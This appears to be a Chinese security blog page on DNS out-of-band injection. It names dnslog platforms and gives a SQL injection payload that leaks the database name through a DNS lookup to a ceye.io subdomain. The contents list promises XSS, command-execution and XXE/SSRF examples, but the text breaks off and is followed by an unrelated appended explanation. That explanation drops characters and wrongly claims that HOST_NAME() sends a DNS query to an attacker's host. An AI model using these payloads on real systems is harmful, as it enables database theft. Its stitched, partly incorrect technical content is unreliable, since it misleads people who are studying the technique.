dns带外注入

DNS带外注入是一种在web漏洞无回显情况下,通过DNS日志获取查询内容的技术。本文介绍DNS带外注入的概念,常用的dnslog平台,并通过联合sql盲注、xss、命令执行和xxe、ssrf的实例展示其应用,帮助安全研究人员更有效地利用这种技术。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

 前言

一、DNS带外注入是什么?

二、dnslog的常见平台

三、实战

1. 联合sql盲注

2.联合xss

 3.命令执行

4.xxe和ssrf

总结

参考资料




 

 前言

        我们常见的sql注入、xss、xxe、ssrf等web漏洞都会存在无回显的情况,为了更方便的获取到查询的内容,因此有了DNS带外注入。



一、DNS带外注入是什么?

        DNS即域名解析协议,用于ip和域名之间的相互解析,而dnslog就是记录了你对此域名或者ip的访问信息(即日志记录),在上述漏洞的盲注中,我们将查询结果拼接到dns服务器域名上面进行请求,那么dns服务器就会收到拼接后的字符串,也就看到了回显的结果,完成盲注。




二、dnslog的常见平台

http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io

三、实战

1. 联合sql盲注

        如某个注入点为?id=1,则在之后拼接上and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\aaa'))),1,1)--+,然后就可以在ceye服务器上接收到需要查询的数据,需要注意的是这里的数据库权限必须有load_file权限,最好是root,可以用show global variables like '%secure%',secure_file_priv必须为空才能读取文件,为null则不能读取文件

### 关于带外注入安全漏洞与攻击方式 带外注入(Out-of-Band Injection),作为一种特殊的SQL注入技术,在某些特定条件下可以绕过传统的基于布尔或时间延迟的盲注方法。当目标应用程序既不会直接回显查询结果也不会因错误而泄露任何有用的信息时,传统盲注变得低效甚至不可行。 #### 特征描述 在这种类型的注入中,攻击者能够迫使数据库服务器部系统发送请求以传递数据。这种机制依赖于数据库支持的功能特性,比如DNS解析功能或者HTTP客户端库等[^3]。例如,Microsoft SQL Server可以通过`xp_dirtree`命令发起对部资源的访问;Oracle Database则可能利用UTL_HTTP包实现相同目的。 #### 实现原理 为了触发一次成功的带外注入攻击,通常需要满足以下几个条件: - 数据库管理系统具备网络通信能力; - 应用程序逻辑允许输入未经过充分验证的数据进入SQL语句构建流程; - 存在一个可预测且稳定的通道用于接收来自数据库发出的消息。 一旦上述前提成立,则可通过构造特殊形式的恶意输入来诱导数据库执行有网络调用的操作,并最终将敏感信息传输给由攻击者控制的服务端点。 ```sql -- 假设存在一个易受攻击的Web应用接口接受用户ID作为参数并将其嵌入到如下所示的SELECT语句内: ' OR 1=CASE WHEN (ASCII(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1))>97) THEN HOST_NAME() ELSE 'a' END -- ``` 此代码片段试图读取表名的第一个字符并通过内置函数HOST_NAME()尝试建立连接至远程主机。如果该字符大于'a'(即ASCII码值为97),则会形成有效的域名查询请求指向攻击者的监听器地址。 #### 风险评估 由于此类攻击往往涉及跨网段的信息交换活动,因此不仅限于窃取本地存储的数据记录,还可能导致更广泛的内部网络安全威胁扩散开来。此,因为涉及到实际的互联网流量交互行为,所以更容易被IDS/IPS设备捕捉识别从而留下痕迹证据。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值